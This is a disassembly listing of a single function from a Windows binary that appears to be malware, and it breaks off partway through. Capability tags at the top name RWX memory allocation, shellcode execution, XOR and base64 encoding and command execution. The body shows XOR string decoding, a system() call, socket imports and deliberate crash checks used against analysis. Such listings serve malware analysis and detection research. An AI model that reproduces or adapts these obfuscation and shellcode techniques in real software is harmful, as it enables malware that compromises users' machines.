Function at 0x14000ca30
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using base64
Encode data using xor
Execute command
Execute shellcode via indirect call
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x758]
sub rsp, 0x830
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x14009b080]
xor rax, rsp
mov qword [rbp + 0x680], rax
xor r12d, r12d
mov r15d, r12d
mov dword [rsp + 0x50], r12d
lea rcx, [rbp + 0x608]
call fcn.140009be0
nop
lea rcx, [rbp + 0x3c0]
call fcn.140027d20
nop
call fcn.14002a730
call fcn.140009f60
xorps xmm0, xmm0
movups xmmword [rbp + 0x5e8], xmm0
mov qword [rbp + 0x5f8], r12
mov qword [rbp + 0x600], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x5e8], r12b
lea rdx, [0x140018d80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14009c520]
lea rcx, [rsp + 0x58]
call fcn.140001ad0
mov rcx, rax
call fcn.14000abb0
test al, al
jne 0x14000cbf1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0xd0]
call fcn.140011490
movzx r8d, byte [rax + 5]
test r8b, r8b
je 0x14000cb65
xor byte [rax], 0x3a
xor byte [rax + 1], 0x3b
xor byte [rax + 2], 0x3c
xor byte [rax + 3], 0x3d
xor byte [rax + 4], 0x3e
xor r8b, 0x3f
mov byte [rax + 5], r8b
mov rdx, rax
call fcn.140018dc0
mov rcx, rax
lea rdx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140018dc0
mov rcx, rax
lea rdx, [0x14009b1f0]
call fcn.140018d60
lea rdx, [0x140018d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1194
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0xd0]
call fcn.1400114b0
movzx edx, byte [rax + 4]
test dl, dl
je 0x14000cbd6
xor byte [rax], 0x3a
xor byte [rax + 1], 0x3b
xor byte [rax + 2], 0x3c
xor byte [rax + 3], 0x3d
xor dl, 0x3e
mov byte [rax + 4], dl
mov rdx, rax
call fcn.140018dc0
mov qword [0], 0xdead1f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
mov rax, qword [0x14008d5f8]
mov qword [rbp + 0xd0], rax
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14008d5ff], 0
je 0x14000cd60
cmp ebx, 2
jl 0x14000cd19
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm2, xmmword [0x14008e8d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14008e980]
movd xmm0, dword [rbp + 0xd0]
xorps xmm2, xmm0
movd dword [rbp + 0xd0], xmm2
movdqa xmm3, xmmword [0x14008e8e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14008e980]
movd xmm0, dword [rbp + 0xd4]
xorps xmm2, xmm0
movd dword [rbp + 0xd4], xmm2
jmp 0x14000cd60
lea r9, [rbp + 0xd0]
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000cd30
movzx eax, word [0x14008e020]
mov word [rsp + 0x30], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x30], 0x44
xor byte [rsp + 0x31], 0x3b
xor al, 0x3c
mov byte [rsp + 0x32], al
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140003800
mov rdx, rax
lea rcx, [rbp + 0x108]
call fcn.14000be10
mov rcx, rax
lea rdx, [rbp + 0xd0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], 0
jne 0x14000cdb2
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x14000cdc9
mov rcx, qword [rcx]
cmp r8, rax
jne 0x14000cde3
lea rdx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000cde3
xor dil, dil
jmp 0x14000cde6
mov dil, 1
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x14000ce2a
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ce25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ce25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
test dil, dil
je 0x14000ce42
mov qword [0], 0xdead1f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
mov eax, dword [str.YWO]
mov dword [rsp + 0x38], eax
cmp ebx, 2
jl 0x14000cecf
movdqa xmm3, xmmword [0x14008e8d0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14008e970]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14008e970]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 3
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14008e980]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x38], xmm2
jmp 0x14000cf10
lea r9, [rsp + 0x38]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000cee0
lea rcx, [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x14008d850]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xd0], rax
cmp ebx, 2
jl 0x14000d048
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm2, xmmword [0x14008e8d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
mov eax, dword [0x14008e980]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd0]
xorps xmm2, xmm1
movd dword [rbp + 0xd0], xmm2
movdqa xmm3, xmmword [0x14008e8e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd4]
xorps xmm2, xmm1
movd dword [rbp + 0xd4], xmm2
jmp 0x14000d090
lea r9, [rbp + 0xd0]
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3b
movzx eax, r8b
sub al, dl
add al, 0x3a
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000d060
lea rdx, [rbp + 0xd0]
call fcn.140018dc0
cmp dword [0x14009c3d0], 0x64
jle 0x14000d55f
movups xmm0, xmmword [str.cTIO]
movups xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x14008e170]
movsd qword [rbp + 0x100], xmm0
mov eax, dword [str.TJXL_]
mov dword [rbp + 0xd0], eax
movzx eax, word [0x14008d664]
mov word [rbp + 0xd4], ax
movsd xmm0, qword [0x14008d9d8]
movsd qword [rbp + 0xd8], xmm0
movzx eax, byte [0x14008d9e0]
mov byte [rbp + 0xe0], al
movups xmm0, xmmword [0x14008e070]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [0x14008e080]
movups xmmword [rbp + 0x1a0], xmm1
movups xmm0, xmmword [0x14008e090]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [0x14008e0a0]
movups xmmword [rbp + 0x1c0], xmm1
movups xmm0, xmmword [0x14008e0b0]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [0x14008e0c0]
movups xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [0x14008e0d0]
movups xmmword [rbp + 0x1f0], xmm0
movzx eax, word [0x14008e0e0]
mov word [rbp + 0x200], ax
cmp byte [0x14008e177], 0
je 0x14000d300
cmp ebx, 2
jl 0x14000d2bf
movdqa xmm5, xmmword [0x14008e8d0]
mov edx, r12d
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm6, xmmword [0x14008e8f0]
movdqa xmm0, xmmword [0x14008e980]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xf0]
mov r8d, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14000d1c0
jmp 0x14000d300
lea r9, [rbp + 0xf0]
mov r8d, r12d
nop dword [rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3b
movzx eax, r8b
sub al, dl
add al, 0x3a
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14000d2d0
lea rdx, [rbp + 0xf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018dc0
movzx ecx, byte [rbp + 0xd5]
test cl, cl
je 0x14000d34a
xor byte [rbp + 0xd0], 0x3a
xor byte [rbp + 0xd1], 0x3b
xor byte [rbp + 0xd2], 0x3c
xor byte [rbp + 0xd3], 0x3d
xor byte [rbp + 0xd4], 0x3e
xor cl, 0x3f
mov byte [rbp + 0xd5], cl
lea rdx, [rbp + 0xd0]
mov rcx, rax
call fcn.140018dc0
movzx ecx, byte [rbp + 0xe0]
test cl, cl
je 0x14000d3a5
xor byte [rbp + 0xd8], 0x3a
xor byte [rbp + 0xd9], 0x3b
xor byte [rbp + 0xda], 0x3c
xor byte [rbp + 0xdb], 0x3d
xor byte [rbp + 0xdc], 0x3e
xor byte [rbp + 0xdd], 0x3f
xor byte [rbp + 0xde], 0x40
xor byte [rbp + 0xdf], 0x41
xor cl, 0x42
mov byte [rbp + 0xe0], cl
lea rdx, [rbp + 0xd8]
mov rcx, rax
call fcn.140018dc0
mov r10, rax
cmp byte [rbp + 0x201], 0
je 0x14000d550
mov r8d, r12d
cmp ebx, 2
jl 0x14000d506
movdqa xmm5, xmmword [0x14008e8d0]
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm6, xmmword [0x14008e8f0]
movdqa xmm0, xmmword [0x14008e980]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x190]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x14000d401
cmp r8d, 0x72
jge 0x14000d550
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x72
jl 0x14000d520
lea rdx, [rbp + 0x190]
mov rcx, r10
jmp 0x14000d7a4
movups xmm0, xmmword [0x14008d9e8]
movups xmmword [rbp + 0x320], xmm0
movups xmm1, xmmword [0x14008d9f8]
movups xmmword [rbp + 0x330], xmm1
movzx eax, word [0x14008da08]
mov word [rbp + 0x340], ax
movsd xmm0, qword [0x14008d9c8]
movsd qword [rbp + 0xd8], xmm0
movzx eax, byte [0x14008d9d0]
mov byte [rbp + 0xe0], al
mov ecx, r12d
cmp ebx, 2
jl 0x14000d6f2
movdqa xmm5, xmmword [0x14008e8d0]
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm6, xmmword [0x14008e8f0]
movdqa xmm0, xmmword [0x14008e980]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x320]
mov r8d, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x14000d5f0
cmp ecx, 0x22
jge 0x14000d72c
movsxd rax, ecx
lea r8, [rbp + 0x320]
add r8, rax
nop
mov eax, 0x22b63cbf
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3b
movzx eax, cl
sub al, dl
add al, 0x3a
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x22
jl 0x14000d700
lea rdx, [rbp + 0x320]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018dc0
mov edx, dword [0x14009c3d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
movzx ecx, byte [rbp + 0xe0]
test cl, cl
je 0x14000d79a
xor byte [rbp + 0xd8], 0x3a
xor byte [rbp + 0xd9], 0x3b
xor byte [rbp + 0xda], 0x3c
xor byte [rbp + 0xdb], 0x3d
xor byte [rbp + 0xdc], 0x3e
xor byte [rbp + 0xdd], 0x3f
xor byte [rbp + 0xde], 0x40
xor byte [rbp + 0xdf], 0x41
xor cl, 0x42
mov byte [rbp + 0xe0], cl
lea rdx, [rbp + 0xd8]
mov rcx, rax
call fcn.140018dc0
lea rdx, [0x140018d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movsd xmm0, qword [str.IUK_M]
movsd qword [rbp + 0xd8], xmm0
mov eax, dword [0x14008d5e8]
mov dword [rbp + 0xe0], eax
movzx eax, byte [0x14008d5ec]
mov byte [rbp + 0xe4], al
mov r8d, r12d
cmp ebx, 2
jl 0x14000d8f6
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm2, xmmword [0x14008e8d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
mov eax, dword [0x14008e980]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.IUK_M]
xorps xmm2, xmm0
movd dword [rbp + 0xd8], xmm2
movdqa xmm3, xmmword [0x14008e8e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000d910
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x108]
call fcn.140003800
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.14000be10
nop
mov rcx, rax
call fcn.140004600
mov qword [0x14009c3d8], rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000d9b0
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d9ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d9ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
mov eax, dword [str.WOUWK_]
mov dword [rbp + 0xd0], eax
movzx ecx, word [0x14008dfb4]
mov word [rbp + 0xd4], cx
movzx eax, byte [0x14008dfb6]
mov byte [rbp + 0xd0], WSAStartup
xor byte [rbp + 0xd1], 0x3b
xor byte [rbp + 0xd2], 0x3c
xor byte [rbp + 0xd3], 0x3d
xor cl, 0x3e
mov byte [rbp + 0xd4], cl
xor byte [rbp + 0xd5], 0x3f
xor al, 0x40
mov byte [rbp + 0xd6], al
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x108]
call fcn.140003800
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.14000be10
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14000da30
mov rax, qword [rax]
mov rdx, rax
mov rcx, qword [0x14009c4d8]
call fcn.1400275b0
mov edi, eax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000da81
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000da7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000da7c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
test edi, edi
jne 0x14000dd48
movups xmm0, xmmword [0x14008da10]
movups xmmword [rbp - 0x50], xmm0
mov eax, dword [0x14008da20]
mov dword [rbp - 0x40], eax
cmp byte [0x14008da23], dil
je 0x14000dc30
mov r8d, r12d
cmp ebx, 2
jl 0x14000dbf5
movdqa xmm5, xmmword [0x14008e8d0]
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm6, xmmword [0x14008e8f0]
movdqa xmm0, xmmword [0x14008e980]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x50]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000daf0
cmp r8d, 0x14
jge 0x14000dc30
movsxd rax, r8d
lea r9, [rbp - 0x50]
add r9, rax
nop
mov eax, 0x22b63cbf
